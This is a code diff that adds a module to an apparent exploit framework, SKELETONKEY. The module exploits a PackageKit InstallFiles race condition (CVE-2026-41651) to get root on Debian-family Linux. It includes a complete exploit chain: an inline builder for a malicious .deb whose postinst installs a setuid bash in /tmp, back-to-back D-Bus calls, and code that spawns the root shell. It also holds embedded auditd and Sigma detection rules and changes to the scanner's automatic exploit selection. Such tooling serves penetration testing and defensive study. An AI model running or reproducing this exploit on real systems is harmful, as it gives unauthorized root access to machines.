i++) { + uint32_t c = i; + for (int j = 0; j < 8; j++) c = (c&1) ? (0xedb88320u ^ (c>>1)) : (c>>1); + crc_tab[i] = c; + } +} +static uint32_t crc32_iso(const void *src, size_t n) +{ + const uint8_t *p = src; uint32_t c = 0xffffffffu; + while (n--) c = crc_tab[(c ^ *p++) & 0xff] ^ (c >> 8); + return c ^ 0xffffffffu; +} + +/* ── gzip stored deflate block (max 65535 B) ───────────────────────── */ +static size_t gzip_store(const void *src, size_t len, uint8_t *dst) +{ + if (len > 0xffff) return 0; + uint8_t *p = dst; + *p++ = 0x1f; *p++ = 0x8b; *p++ = 0x08; *p++ = 0x00; + p[0]=p[1]=p[2]=p[3]=0; p+=4; *p++ = 0x00; *p++ = 0xff; + uint16_t ln = len, nln = ~ln; + *p++ = 0x01; memcpy(p, &ln, 2); p += 2; memcpy(p, &nln, 2); p += 2; + memcpy(p, src, len); p += len; + uint32_t c = crc32_iso(src, len), s = (uint32_t)len; + memcpy(p, &c, 4); p += 4; memcpy(p, &s, 4); p += 4; + return p - dst; +} + +/* ── ustar tar entry ───────────────────────────────────────────────── */ +static size_t tar_entry(uint8_t *buf, const char *name, const void *data, + size_t dlen, mode_t mode, char type) +{ + memset(buf, 0, 512); + snprintf((char *)buf, 100, "%s", name); + snprintf((char *)buf+100, 8, "%07o", (unsigned)mode); + snprintf((char *)buf+108, 8, "%07o", 0u); + snprintf((char *)buf+116, 8, "%07o", 0u); + snprintf((char *)buf+124, 12, "%011o", (unsigned)dlen); + snprintf((char *)buf+136, 12, "%011o", (unsigned)time(NULL)); + memset(buf+148, ' ', 8); + buf[156] = type; + memcpy(buf+257, "ustar", 5); memcpy(buf+263, "00", 2); + unsigned sum = 0; for (int i = 0; i < 512; i++) sum += buf[i]; + snprintf((char *)buf+148, 8, "%06o", sum); + buf[154] = '\0'; buf[155] = ' '; + size_t pad = dlen ? ((dlen + 511) / 512) * 512 : 0; + if (dlen && data) memcpy(buf + 512, data, dlen); + if (pad > dlen) memset(buf + 512 + dlen, 0, pad - dlen); + return 512 + pad; +} + +/* ── ar member ─────────────────────────────────────────────────────── */ +static void ar_entry(FILE *f, const char *name, const void *data, size_t sz) +{ + char h[61]; memset(h, ' ', 60); h[60] = 0; + char t[17]; snprintf(t, 17, "%-16s", name); memcpy(h, t, 16); + snprintf(t, 13, "%-12lu", (unsigned long)time(NULL)); memcpy(h+16, t, 12); + memcpy(h+28, "0 ", 6); memcpy(h+34, "0 ", 6); + memcpy(h+40, "100644 ", 8); + snprintf(t, 11, "%-10zu", sz); memcpy(h+48, t, 10); + h[58] = '`'; h[59] = '\n'; + fwrite(h, 1, 60, f); fwrite(data, 1, sz, f); + if (sz % 2) fputc('\n', f); +} + +/* Assemble a minimal .deb (faithful to the V12 PoC build_deb). */ +static int build_deb(const char *dest, const char *pkg, const char *postinst) +{ + static uint8_t tarbuf[65536], gzbuf[65536+256]; + memset(tarbuf, 0, sizeof tarbuf); + crc_init(); + size_t off = 0; + + char ctrl[512]; + snprintf(ctrl, sizeof ctrl, + "Package: %s\nVersion: 1.0\nArchitecture: all\n" + "Maintainer: SKELETONKEY\nDescription: Pack2TheRoot PoC\n", pkg); + + off += tar_entry(tarbuf+off, "./", NULL, 0, 0755, '5'); + off += tar_entry(tarbuf+off, "./control", ctrl, strlen(ctrl), 0644, '0'); + if (postinst) + off += tar_entry(tarbuf+off, "./postinst", postinst, + strlen(postinst), 0755, '0'); + off += 1024; /* end-of-archive: two 512-byte zero blocks */ + + size_t ctrl_gz_len = gzip_store(tarbuf, off, gzbuf); + if (!ctrl_gz_len) return -1; + + static uint8_t empty_tar[1024], data_gz[256]; + memset(empty_tar, 0, sizeof empty_tar); + size_t data_gz_len = gzip_store(empty_tar, sizeof empty_tar, data_gz); + + FILE *f = fopen(dest, "wb"); + if (!f) return -1; + fwrite("!\n", 1, 8, f); + ar_entry(f, "debian-binary", "2.0\n", 4); + ar_entry(f, "control.tar.gz", gzbuf, ctrl_gz_len); + ar_entry(f, "data.tar.gz", data_gz, data_gz_len); + fclose(f); + return 0; +} + +/* ── D-Bus helpers ─────────────────────────────────────────────────── */ + +typedef struct { GMainLoop *loop; guint32 exit_code; gboolean done; } P2trCtx; + +static void cb_finished(GDBusConnection *c G_GNUC_UNUSED, + const gchar *s G_GNUC_UNUSED, const gchar *o G_GNUC_UNUSED, + const gchar *i G_GNUC_UNUSED, const gchar *n G_GNUC_UNUSED, + GVariant *p, gpointer u) +{ + P2trCtx *ctx = u; guint32 ec, rt; + g_variant_get(p, "(uu)", &ec, &rt); + LOG("transaction finished (exit=%u, %u ms)", ec, rt); + ctx->exit_code = ec; ctx->done = TRUE; + g_main_loop_quit(ctx->loop); +} + +static void cb_error(GDBusConnection *c G_GNUC_UNUSED, + const gchar *s G_GNUC_UNUSED, const gchar *o G_GNUC_UNUSED, + const gchar *i G_GNUC_UNUSED, const gchar *n G_GNUC_UNUSED, + GVariant *p, gpointer u G_GNUC_UNUSED) +{ + guint32 code; const gchar *det; + g_variant_get(p, "(u&s)", &code, &det); + LOG("PK error %u: %s", code, det); +} + +static gboolean cb_timeout(gpointer u) +{ + ERR("transaction loop timed out"); + g_main_loop_quit(u); + return G_SOURCE_REMOVE; +} + +static char *pk_create_tx(GDBusConnection *conn) +{ + GError *e = NULL; + GVariant *r = g_dbus_connection_call_sync(conn, PK_BUS, PK_OBJ, PK_IFACE, + "CreateTransaction", NULL, G_VARIANT_TYPE("(o)"), + G_DBUS_CALL_FLAGS_NONE, -1, NULL, &e); + if (!r) { + ERR("CreateTransaction: %s", e ? e->message : "?"); + if (e) g_error_free(e); + return NULL; + } + const gchar *tid; g_variant_get(r, "(&o)", &tid); + char *copy = g_strdup(tid); g_variant_unref(r); + return copy; +} + +/* Fire-and-forget: both messages must land in the server's socket + * buffer before the GLib idle from Step 1 fires. Faithful to the PoC. */ +static void pk_install_files_async(GDBusConnection *conn, const char *tid, + guint64 flags, const char *path) +{ + const char *paths[] = { path, NULL }; + g_dbus_connection_call(conn, PK_BUS, tid, PK_TX_IFACE, + "InstallFiles", g_variant_new("(t^as)", flags, paths), + NULL, G_DBUS_CALL_FLAGS_NONE, -1, NULL, NULL, NULL); +} + +static bool dbus_name_has_owner(GDBusConnection *conn, const char *name) +{ + GError *e = NULL; + GVariant *r = g_dbus_connection_call_sync(conn, "org.freedesktop.DBus", + "/org/freedesktop/DBus", "org.freedesktop.DBus", "NameHasOwner", + g_variant_new("(s)", name), G_VARIANT_TYPE("(b)"), + G_DBUS_CALL_FLAGS_NONE, 2000, NULL, &e); + if (!r) { if (e) g_error_free(e); return false; } + gboolean has; g_variant_get(r, "(b)", &has); + g_variant_unref(r); + return (bool)has; +} + +/* Read PackageKit's VersionMajor/Minor/Micro D-Bus properties. */ +static bool pk_query_version(GDBusConnection *conn, int *maj, int *min, int *mic) +{ + static const char *names[] = { "VersionMajor", "VersionMinor", "VersionMicro" }; + int *out[3] = { maj, min, mic }; + for (int i = 0; i < 3; i++) { + GError *e = NULL; + GVariant *r = g_dbus_connection_call_sync(conn, PK_BUS, PK_OBJ, + "org.freedesktop.DBus.Properties", "Get", + g_variant_new("(ss)", PK_IFACE, names[i]), + G_VARIANT_TYPE("(v)"), G_DBUS_CALL_FLAGS_NONE, + 2000, NULL, &e); + if (!r) { if (e) g_error_free(e); return false; } + GVariant *vinner = NULL; + g_variant_get(r, "(v)", &vinner); + if (!vinner) { g_variant_unref(r); return false; } + if (g_variant_is_of_type(vinner, G_VARIANT_TYPE_UINT32)) + *out[i] = (int)g_variant_get_uint32(vinner); + else if (g_variant_is_of_type(vinner, G_VARIANT_TYPE_INT32)) + *out[i] = (int)g_variant_get_int32(vinner); + else { + g_variant_unref(vinner); g_variant_unref(r); return false; + } + g_variant_unref(vinner); g_variant_unref(r); + } + return true; +} + +/* ── detect ────────────────────────────────────────────────────────── */ + +static skeletonkey_result_t p2tr_detect(const struct skeletonkey_ctx *ctx) +{ + p2tr_verbose = !ctx->json; + + if (geteuid() == 0) { + if (!ctx->json) + fprintf(stderr, "[i] pack2theroot: already root β€” nothing to do\n"); + return SKELETONKEY_OK; + } + + if (access("/etc/debian_version", F_OK) != 0) { + if (!ctx->json) + fprintf(stderr, "[i] pack2theroot: not a Debian/Ubuntu host " + "(PoC's .deb builder is Debian-family-only)\n"); + return SKELETONKEY_PRECOND_FAIL; + } + + GError *e = NULL; + GDBusConnection *conn = g_bus_get_sync(G_BUS_TYPE_SYSTEM, NULL, &e); + if (!conn) { + if (!ctx->json) + fprintf(stderr, "[i] pack2theroot: system D-Bus unavailable: %s\n", + e ? e->message : "(unknown)"); + if (e) g_error_free(e); + return SKELETONKEY_PRECOND_FAIL; + } + + if (!dbus_name_has_owner(conn, PK_BUS)) { + if (!ctx->json) + fprintf(stderr, "[i] pack2theroot: PackageKit daemon not " + "registered on the system bus\n"); + g_object_unref(conn); + return SKELETONKEY_PRECOND_FAIL; + } + + int maj = 0, min = 0, mic = 0; + bool got_version = pk_query_version(conn, &maj, &min, &mic); + g_object_unref(conn); + + if (!got_version) { + if (!ctx->json) + fprintf(stderr, "[?] pack2theroot: PackageKit running but " + "VersionMajor/Minor/Micro unreadable β€” patch-level " + "unknown\n"); + return SKELETONKEY_TEST_ERROR; + } + + int v = P2TR_VER(maj, min, mic); + if (!ctx->json) + fprintf(stderr, "[*] pack2theroot: PackageKit %d.%d.%d on the bus\n", + maj, min, mic); + + if (v < P2TR_VER_LO) { + if (!ctx->json) + fprintf(stderr, "[+] pack2theroot: %d.%d.%d predates the bug " + "(introduced in 1.0.2)\n", maj, min, mic); + return SKELETONKEY_OK; + } + if (v > P2TR_VER_HI) { + if (!ctx->json) + fprintf(stderr, "[+] pack2theroot: %d.%d.%d is patched " + "(fixed in 1.3.5, commit 76cfb675)\n", maj, min, mic); + return SKELETONKEY_OK; + } + if (!ctx->json) + fprintf(stderr, "[!] pack2theroot: PackageKit %d.%d.%d is " + "VULNERABLE (range 1.0.2 ≀ V ≀ 1.3.4)\n", maj, min, mic); + return SKELETONKEY_VULNERABLE; +} + +/* ── exploit child (faithful port of the PoC main() body) ──────────── */ + +static int p2tr_child_run(int no_shell) +{ + char dummy[64], payload[64], postinst[160]; + snprintf(dummy, sizeof dummy, "/tmp/.pk-dummy-%d.deb", getpid()); + snprintf(payload, sizeof payload, "/tmp/.pk-payload-%d.deb", getpid()); + snprintf(postinst, sizeof postinst, + "#!/bin/sh\ninstall -m 4755 /bin/bash %s\n", SUID_PATH); + + LOG("building .deb packages (pure C; ar/tar/gzip inline)"); + if (build_deb(dummy, "skeletonkey-p2tr-dummy", NULL) < 0) { + ERR("dummy .deb build failed"); + return 2; + } + if (build_deb(payload, "skeletonkey-p2tr-payload", postinst) < 0) { + ERR("payload .deb build failed"); unlink(dummy); + return 2; + } + if (access(dummy, F_OK) != 0 || access(payload, F_OK) != 0) { + ERR("built .deb files are missing"); return 2; + } + LOG("dummy : %s", dummy); + LOG("payload : %s", payload); + + GError *err = NULL; + GDBusConnection *conn = g_bus_get_sync(G_BUS_TYPE_SYSTEM, NULL, &err); + if (!conn) { + ERR("system D-Bus: %s", err ? err->message : "?"); + if (err) g_error_free(err); + unlink(dummy); unlink(payload); + return 4; + } + + char *tid = pk_create_tx(conn); + if (!tid) { g_object_unref(conn); unlink(dummy); unlink(payload); return 2; } + LOG("transaction : %s", tid); + + P2trCtx pkctx = { .loop = g_main_loop_new(NULL, FALSE), .done = FALSE }; + guint sf = g_dbus_connection_signal_subscribe(conn, PK_BUS, PK_TX_IFACE, + "Finished", tid, NULL, G_DBUS_SIGNAL_FLAGS_NONE, cb_finished, &pkctx, NULL); + guint se = g_dbus_connection_signal_subscribe(conn, PK_BUS, PK_TX_IFACE, + "ErrorCode", tid, NULL, G_DBUS_SIGNAL_FLAGS_NONE, cb_error, NULL, NULL); + + /* ── EXPLOIT ───────────────────────────────────────────────────── */ + LOG("step 1: InstallFiles(SIMULATE=0x%llx, dummy) [async]", + (unsigned long long)FLAG_SIMULATE); + pk_install_files_async(conn, tid, FLAG_SIMULATE, dummy); + + LOG("step 2: InstallFiles(NONE=0x%llx, payload) [async]", + (unsigned long long)FLAG_NONE); + pk_install_files_async(conn, tid, FLAG_NONE, payload); + + /* Flush so both messages land in the server's socket buffer before + * its main loop runs the GLib idle from step 1. */ + { + GError *fe = NULL; + if (!g_dbus_connection_flush_sync(conn, NULL, &fe)) { + ERR("D-Bus flush: %s", fe ? fe->message : "?"); + g_clear_error(&fe); + } + } + + LOG("awaiting dispatch (30s max)"); + g_timeout_add_seconds(30, cb_timeout, pkctx.loop); + g_main_loop_run(pkctx.loop); + + g_dbus_connection_signal_unsubscribe(conn, sf); + g_dbus_connection_signal_unsubscribe(conn, se); + g_free(tid); + g_object_unref(conn); + + /* Record /tmp paths for cleanup() even if the SUID never lands. */ + int sf2 = open("/tmp/skeletonkey-pack2theroot.state", + O_WRONLY | O_CREAT | O_TRUNC, 0600); + if (sf2 >= 0) { + dprintf(sf2, "%s\n%s\n", dummy, payload); + close(sf2); + } + + /* Poll up to 120s for the SUID bash; the APT backend may keep + * running after polkit fires. Faithful to the PoC's polling loop. */ + LOG("polling for SUID payload at %s (120s max)", SUID_PATH); + struct stat st; + int appeared_at = -1; + for (int i = 0; i < 1200; i++) { + usleep(100000); /* 100 ms */ + if (i % 50 == 0 && p2tr_verbose) { + int lock_fd = open("/var/lib/dpkg/lock", O_RDONLY); + int lock_held = 0; + if (lock_fd >= 0) { + lock_held = (flock(lock_fd, LOCK_EX | LOCK_NB) != 0); + if (!lock_held) flock(lock_fd, LOCK_UN); + close(lock_fd); + } + fprintf(stderr, "[*] pack2theroot: t+%ds payload=%s " + "dpkg_lock=%s suid=%s\n", + (i/10)+1, + access(payload, F_OK) == 0 ? "present" : "consumed", + lock_held ? "held" : "free", + access(SUID_PATH, F_OK) == 0 ? "FOUND" : "not yet"); + } + if (stat(SUID_PATH, &st) == 0 && (st.st_mode & S_ISUID)) { + appeared_at = i; + break; + } + } + + if (appeared_at < 0) { + ERR("SUID bash never appeared at %s within 120s", SUID_PATH); + return 3; /* EXPLOIT_FAIL */ + } + + LOG("SUCCESS β€” SUID bash landed at t+%dms", appeared_at * 100); + + if (no_shell) { + LOG("--no-shell: payload placed, root shell not spawned"); + LOG("revert with `skeletonkey --cleanup pack2theroot` (needs root)"); + return 0; + } + + /* Exec the SUID bash interactively. */ + if (isatty(STDIN_FILENO)) { + char *ttydev = ttyname(STDIN_FILENO); + pid_t child = fork(); + if (child == 0) { + setsid(); + if (ttydev) { + int t = open(ttydev, O_RDWR); + if (t >= 0) { + ioctl(t, TIOCSCTTY, 1); + dup2(t, 0); dup2(t, 1); dup2(t, 2); + if (t > 2) close(t); + } + } + char *argv[] = { (char *)SUID_PATH, "-p", NULL }; + execv(SUID_PATH, argv); + _exit(1); + } + if (child > 0) { int s; waitpid(child, &s, 0); } + } else { + /* Non-tty: just exec the SUID bash (replaces our process). */ + char *argv[] = { (char *)SUID_PATH, "-p", NULL }; + execv(SUID_PATH, argv); + ERR("execv(%s): %s", SUID_PATH, strerror(errno)); + return 3; + } + return 0; +} + +static skeletonkey_result_t p2tr_exploit(const struct skeletonkey_ctx *ctx) +{ + p2tr_verbose = !ctx->json; + + if (geteuid() == 0) { + fprintf(stderr, "[i] pack2theroot: already root β€” nothing to do\n"); + return SKELETONKEY_OK; + } + + pid_t pid = fork(); + if (pid < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; } + if (pid == 0) { + int rc = p2tr_child_run(ctx->no_shell); + _exit(rc); + } + int st; + waitpid(pid, &st, 0); + if (!WIFEXITED(st)) return SKELETONKEY_EXPLOIT_FAIL; + switch (WEXITSTATUS(st)) { + case 0: return SKELETONKEY_EXPLOIT_OK; + case 4: return SKELETONKEY_PRECOND_FAIL; + default: return SKELETONKEY_EXPLOIT_FAIL; + } +} + +/* ── cleanup ───────────────────────────────────────────────────────── */ + +static skeletonkey_result_t p2tr_cleanup(const struct skeletonkey_ctx *ctx) +{ + p2tr_verbose = !ctx->json; + + /* Remove the two staged .debs (recorded during exploit). */ + int sf = open("/tmp/skeletonkey-pack2theroot.state", O_RDONLY); + if (sf >= 0) { + char buf[512] = {0}; + ssize_t n = read(sf, buf, sizeof(buf) - 1); + close(sf); + if (n > 0) { + char *line = strtok(buf, "\n"); + while (line) { + if (unlink(line) == 0) LOG("removed %s", line); + line = strtok(NULL, "\n"); + } + } + unlink("/tmp/skeletonkey-pack2theroot.state"); + } + + /* Best-effort remove the SUID bash. It is owned by root, so this + * only succeeds when cleanup runs with root privileges (e.g. the + * caller already used the SUID shell to escalate). */ + if (access(SUID_PATH, F_OK) == 0) { + if (unlink(SUID_PATH) == 0) { + LOG("removed %s", SUID_PATH); + } else { + ERR("could not remove %s (%s); rerun cleanup as root, or:", + SUID_PATH, strerror(errno)); + ERR(" sudo rm -f %s", SUID_PATH); + } + } + + /* Best-effort: uninstall the malicious package via passwordless sudo. */ + if (system("sudo -n dpkg -r skeletonkey-p2tr-payload skeletonkey-p2tr-dummy " + ">/dev/null 2>&1") == 0) { + LOG("dpkg -r removed staged packages"); + } else { + LOG("dpkg -r not run automatically; if needed:"); + LOG(" sudo dpkg -r skeletonkey-p2tr-payload skeletonkey-p2tr-dummy"); + } + return SKELETONKEY_OK; +} + +#else /* !__linux__ || !PACK2TR_HAVE_GIO */ + +static skeletonkey_result_t p2tr_detect(const struct skeletonkey_ctx *ctx) +{ + if (!ctx->json) { +#ifndef __linux__ + fprintf(stderr, "[i] pack2theroot: Linux-only module " + "(PackageKit D-Bus) β€” not applicable on this platform\n"); +#else + fprintf(stderr, "[i] pack2theroot: module built without " + "GLib/gio-2.0 support β€” install libglib2.0-dev and rebuild\n"); +#endif + } + return SKELETONKEY_PRECOND_FAIL; +} +static skeletonkey_result_t p2tr_exploit(const struct skeletonkey_ctx *ctx) +{ + (void)ctx; + fprintf(stderr, "[-] pack2theroot: not built with GLib/gio-2.0 support\n"); + return SKELETONKEY_PRECOND_FAIL; +} +static skeletonkey_result_t p2tr_cleanup(const struct skeletonkey_ctx *ctx) +{ + (void)ctx; + return SKELETONKEY_OK; +} + +#endif /* __linux__ && PACK2TR_HAVE_GIO */ + +/* ── embedded detection rules ──────────────────────────────────────── */ + +static const char p2tr_auditd[] = + "# Pack2TheRoot (CVE-2026-41651) β€” auditd detection rules\n" + "# PackageKit TOCTOU LPE: two back-to-back InstallFiles D-Bus calls\n" + "# install a malicious .deb as root and drop a SUID bash in /tmp.\n" + "# Watch the side effects β€” D-Bus calls themselves aren't auditable\n" + "# without bus-monitoring, but the file footprint is unmistakable.\n" + "\n" + "# SUID bash carrier that the PoC postinst lands\n" + "-w /tmp/.suid_bash -p wa -k skeletonkey-pack2theroot\n" + "\n" + "# Any new setuid binary owned by root in /tmp is suspicious\n" + "-a always,exit -F arch=b64 -S chmod,fchmod,fchmodat \\\n" + " -F path=/tmp/.suid_bash -k skeletonkey-pack2theroot-suid\n" + "\n" + "# The PoC drops two .deb files in /tmp before the install fires\n" + "-a always,exit -F arch=b64 -S openat,creat \\\n" + " -F dir=/tmp -F success=1 -k skeletonkey-pack2theroot-deb\n" + "\n" + "# packagekitd-driven dpkg activity initiated by a non-root caller\n" + "-a always,exit -F arch=b64 -S execve -F path=/usr/bin/dpkg \\\n" + " -F auid!=0 -k skeletonkey-pack2theroot-dpkg\n" + "-a always,exit -F arch=b64 -S execve -F path=/usr/bin/apt-get \\\n" + " -F auid!=0 -k skeletonkey-pack2theroot-apt\n"; + +static const char p2tr_sigma[] = + "title: Possible Pack2TheRoot exploitation (CVE-2026-41651)\n" + "id: 3f2b8d54-skeletonkey-pack2theroot\n" + "status: experimental\n" + "description: |\n" + " Detects the footprint of Pack2TheRoot (CVE-2026-41651): a non-root\n" + " user triggers PackageKit InstallFiles, dpkg runs a postinst that\n" + " drops /tmp/.suid_bash (a setuid bash), and a privileged shell\n" + " follows. The trigger itself is two back-to-back D-Bus calls with\n" + " no polkit prompt β€” only visible via dbus-monitor or the file\n" + " side effects.\n" + "references:\n" + " - https://github.security.telekom.com/2026/04/pack2theroot-linux-local-privilege-escalation.html\n" + " - https://github.com/PackageKit/PackageKit/security/advisories/GHSA-f55j-vvr9-69xv\n" + "logsource: {product: linux, service: auditd}\n" + "detection:\n" + " suid_drop:\n" + " type: 'PATH'\n" + " name|startswith: ['/tmp/.suid_bash', '/tmp/.pk-payload-', '/tmp/.pk-dummy-']\n" + " not_root:\n" + " auid|expression: '!= 0'\n" + " condition: suid_drop and not_root\n" + "level: high\n" + "tags:\n" + " - attack.privilege_escalation\n" + " - attack.t1068\n" + " - cve.2026.41651\n"; + +const struct skeletonkey_module pack2theroot_module = { + .name = "pack2theroot", + .cve = "CVE-2026-41651", + .summary = "PackageKit InstallFiles TOCTOU β†’ root via .deb postinst", + .family = "pack2theroot", + .kernel_range = "userspace β€” PackageKit 1.0.2 ≀ V ≀ 1.3.4 (fixed in 1.3.5)", + .detect = p2tr_detect, + .exploit = p2tr_exploit, + .mitigate = NULL, + .cleanup = p2tr_cleanup, + .detect_auditd = p2tr_auditd, + .detect_sigma = p2tr_sigma, + .detect_yara = NULL, + .detect_falco = NULL, +}; + +void skeletonkey_register_pack2theroot(void) +{ + skeletonkey_register(&pack2theroot_module); +} diff --git a/modules/pack2theroot_cve_2026_41651/skeletonkey_modules.h b/modules/pack2theroot_cve_2026_41651/skeletonkey_modules.h new file mode 100644 index 0000000..14bf155 --- /dev/null +++ b/modules/pack2theroot_cve_2026_41651/skeletonkey_modules.h @@ -0,0 +1,12 @@ +/* + * pack2theroot_cve_2026_41651 β€” SKELETONKEY module registry hook + */ + +#ifndef PACK2THEROOT_SKELETONKEY_MODULES_H +#define PACK2THEROOT_SKELETONKEY_MODULES_H + +#include "../../core/module.h" + +extern const struct skeletonkey_module pack2theroot_module; + +#endif diff --git a/skeletonkey.c b/skeletonkey.c index 1327153..0e54136 100644 --- a/skeletonkey.c +++ b/skeletonkey.c @@ -21,6 +21,7 @@ #include #include +#include #include #include @@ -670,10 +671,13 @@ static int module_safety_rank(const char *n) if (!strcmp(n, "cgroup_release_agent")) return 98; /* structural, no offsets */ if (!strcmp(n, "overlayfs_setuid")) return 97; /* structural setuid */ if (!strcmp(n, "overlayfs")) return 96; /* userns + xattr */ + if (!strcmp(n, "pack2theroot")) return 95; /* userspace D-Bus TOCTOU; dpkg + /tmp SUID footprint */ if (!strcmp(n, "dirty_pipe")) return 90; /* page-cache write */ if (!strcmp(n, "dirty_cow")) return 89; if (!strncmp(n, "copy_fail", 9) || - !strncmp(n, "dirty_frag", 10)) return 88; + !strncmp(n, "dirty_frag", 10)) return 88; /* verified page-cache writes */ + if (!strcmp(n, "dirtydecrypt") || + !strcmp(n, "fragnesia")) return 86; /* ported page-cache writes, NOT VM-verified */ if (!strcmp(n, "ptrace_traceme")) return 85; /* userspace cred race */ if (!strcmp(n, "sudo_samedit")) return 80; /* heap-tuned, may crash sudo */ if (!strcmp(n, "af_unix_gc")) return 25; /* kernel race, low win% */ @@ -682,6 +686,68 @@ static int module_safety_rank(const char *n) return 50; /* kernel primitives β€” middle of pack */ } +/* Run a module's detect() in a forked child so a SIGILL/SIGSEGV/etc. + * in one detector cannot tear down the dispatcher. The verdict travels + * back via the child's exit status (skeletonkey_result_t values fit in + * 0..5). On a crash, returns SKELETONKEY_TEST_ERROR; *crashed_signal + * is set to the terminating signal (0 if exited normally). + * + * This matters because --auto auto-enables active probes, which can + * exercise CPU instructions (entrybleed's prefetchnta sweep) or + * kernel paths (XFRM ESP-in-TCP setup) that may misbehave under + * emulation or hardened containers. Without isolation, one bad probe + * stops the whole scan and the operator never sees the rest of the + * verdict table. */ +static skeletonkey_result_t run_detect_isolated( + const struct skeletonkey_module *m, + const struct skeletonkey_ctx *ctx, + int *crashed_signal) +{ + *crashed_signal = 0; + pid_t pid = fork(); + if (pid < 0) { + perror("fork"); + return SKELETONKEY_TEST_ERROR; + } + if (pid == 0) { + skeletonkey_result_t r = m->detect(ctx); + fflush(NULL); + _exit((int)r); + } + int st; + if (waitpid(pid, &st, 0) < 0) return SKELETONKEY_TEST_ERROR; + if (WIFEXITED(st)) return (skeletonkey_result_t)WEXITSTATUS(st); + if (WIFSIGNALED(st)) *crashed_signal = WTERMSIG(st); + return SKELETONKEY_TEST_ERROR; +} + +/* Best-effort host distro fingerprint via /etc/os-release. Populates + * id_out and ver_out with up to 63 chars each; falls back to "?" when + * /etc/os-release is missing or unparseable. */ +static void read_os_release(char *id_out, size_t id_cap, + char *ver_out, size_t ver_cap) +{ + snprintf(id_out, id_cap, "?"); + snprintf(ver_out, ver_cap, "?"); + FILE *f = fopen("/etc/os-release", "r"); + if (!f) return; + char line[256]; + while (fgets(line, sizeof line, f)) { + const char *key = NULL; char *dst = NULL; size_t cap = 0; + if (strncmp(line, "ID=", 3) == 0) { + key = line + 3; dst = id_out; cap = id_cap; + } else if (strncmp(line, "VERSION_ID=", 11) == 0) { + key = line + 11; dst = ver_out; cap = ver_cap; + } else continue; + const char *v = key; + if (*v == '"' || *v == '\'') v++; + size_t L = strcspn(v, "\"'\n"); + if (L >= cap) L = cap - 1; + memcpy(dst, v, L); dst[L] = '\0'; + } + fclose(f); +} + static int cmd_auto(struct skeletonkey_ctx *ctx) { if (!ctx->authorized) { @@ -695,28 +761,98 @@ static int cmd_auto(struct skeletonkey_ctx *ctx) return 0; } + /* Active probes give --auto a more accurate verdict on modules that + * implement them (dirty_pipe, the copy_fail family, dirtydecrypt, + * fragnesia, overlayfs). Each per-module probe is documented safe: + * /tmp sentinel files + fork-isolated namespace mounts. No real + * system state is corrupted by the scan. Without this, --auto can + * miss vulnerabilities that a version-only check would flag as + * indeterminate (TEST_ERROR), or accept distro silent backports + * that the version check is fooled by. */ + bool prev_active = ctx->active_probe; + ctx->active_probe = true; + struct utsname u; uname(&u); - fprintf(stderr, "[*] auto: host=%s kernel=%s arch=%s\n", u.nodename, u.release, u.machine); + char distro_id[64], distro_ver[64]; + read_os_release(distro_id, sizeof distro_id, distro_ver, sizeof distro_ver); + fprintf(stderr, "[*] auto: host=%s distro=%s/%s kernel=%s arch=%s\n", + u.nodename, distro_id, distro_ver, u.release, u.machine); + fprintf(stderr, "[*] auto: active probes enabled β€” brief /tmp file " + "touches and fork-isolated namespace probes\n"); fprintf(stderr, "[*] auto: scanning %zu modules for vulnerabilities...\n", skeletonkey_module_count()); struct cand { const struct skeletonkey_module *m; int rank; } cands[64]; int nc = 0; + int n_vuln = 0, n_ok = 0, n_precond = 0, n_test = 0, n_crash = 0, n_other = 0; size_t n = skeletonkey_module_count(); - for (size_t i = 0; i < n && nc < 64; i++) { + for (size_t i = 0; i < n; i++) { const struct skeletonkey_module *m = skeletonkey_module_at(i); if (!m->detect || !m->exploit) continue; - skeletonkey_result_t r = m->detect(ctx); - if (r == SKELETONKEY_VULNERABLE) { - cands[nc].m = m; - cands[nc].rank = module_safety_rank(m->name); - fprintf(stderr, "[+] auto: %-22s VULNERABLE (safety rank %d)\n", - m->name, cands[nc].rank); - nc++; + int sig = 0; + skeletonkey_result_t r = run_detect_isolated(m, ctx, &sig); + if (sig != 0) { + fprintf(stderr, "[?] auto: %-22s detect() crashed " + "(signal %d) β€” continuing\n", m->name, sig); + n_crash++; + continue; + } + switch (r) { + case SKELETONKEY_VULNERABLE: + if (nc < 64) { + cands[nc].m = m; + cands[nc].rank = module_safety_rank(m->name); + fprintf(stderr, "[+] auto: %-22s VULNERABLE (safety rank %d)\n", + m->name, cands[nc].rank); + nc++; + } else { + fprintf(stderr, "[+] auto: %-22s VULNERABLE (overflow; not " + "considered for pick)\n", m->name); + } + n_vuln++; + break; + case SKELETONKEY_OK: + fprintf(stderr, "[ ] auto: %-22s patched or not applicable\n", + m->name); + n_ok++; + break; + case SKELETONKEY_PRECOND_FAIL: + fprintf(stderr, "[ ] auto: %-22s precondition not met\n", m->name); + n_precond++; + break; + case SKELETONKEY_TEST_ERROR: + fprintf(stderr, "[?] auto: %-22s indeterminate " + "(detector could not decide)\n", m->name); + n_test++; + break; + default: + fprintf(stderr, "[?] auto: %-22s %s\n", m->name, result_str(r)); + n_other++; + break; } } + + /* Restore caller's --active setting before we call exploit(). The + * exploit() of each module may use ctx->active_probe with different + * semantics than detect(); we owned this flag only for the scan. */ + ctx->active_probe = prev_active; + + fprintf(stderr, "\n[*] auto: scan summary β€” %d vulnerable, %d patched/" + "n.a., %d precondition-fail, %d indeterminate%s\n", + n_vuln, n_ok, n_precond, n_test, + n_other ? " (+other)" : ""); + if (n_crash > 0) + fprintf(stderr, "[!] auto: %d module(s) crashed during detect " + "β€” dispatcher recovered via fork isolation\n", n_crash); + if (nc == 0) { - fprintf(stderr, "\n[-] auto: no vulnerable modules. Host appears patched.\n"); + if (n_test > 0) { + fprintf(stderr, "[i] auto: %d module(s) returned indeterminate. " + "Try `skeletonkey --exploit --i-know` if " + "you know the host is vulnerable.\n", n_test); + } + fprintf(stderr, "[-] auto: no confirmed-vulnerable modules. Host " + "appears patched.\n"); return 0; } @@ -791,6 +927,7 @@ int main(int argc, char **argv) skeletonkey_register_vmwgfx(); skeletonkey_register_dirtydecrypt(); skeletonkey_register_fragnesia(); + skeletonkey_register_pack2theroot(); enum mode mode = MODE_SCAN; struct skeletonkey_ctx ctx = {0};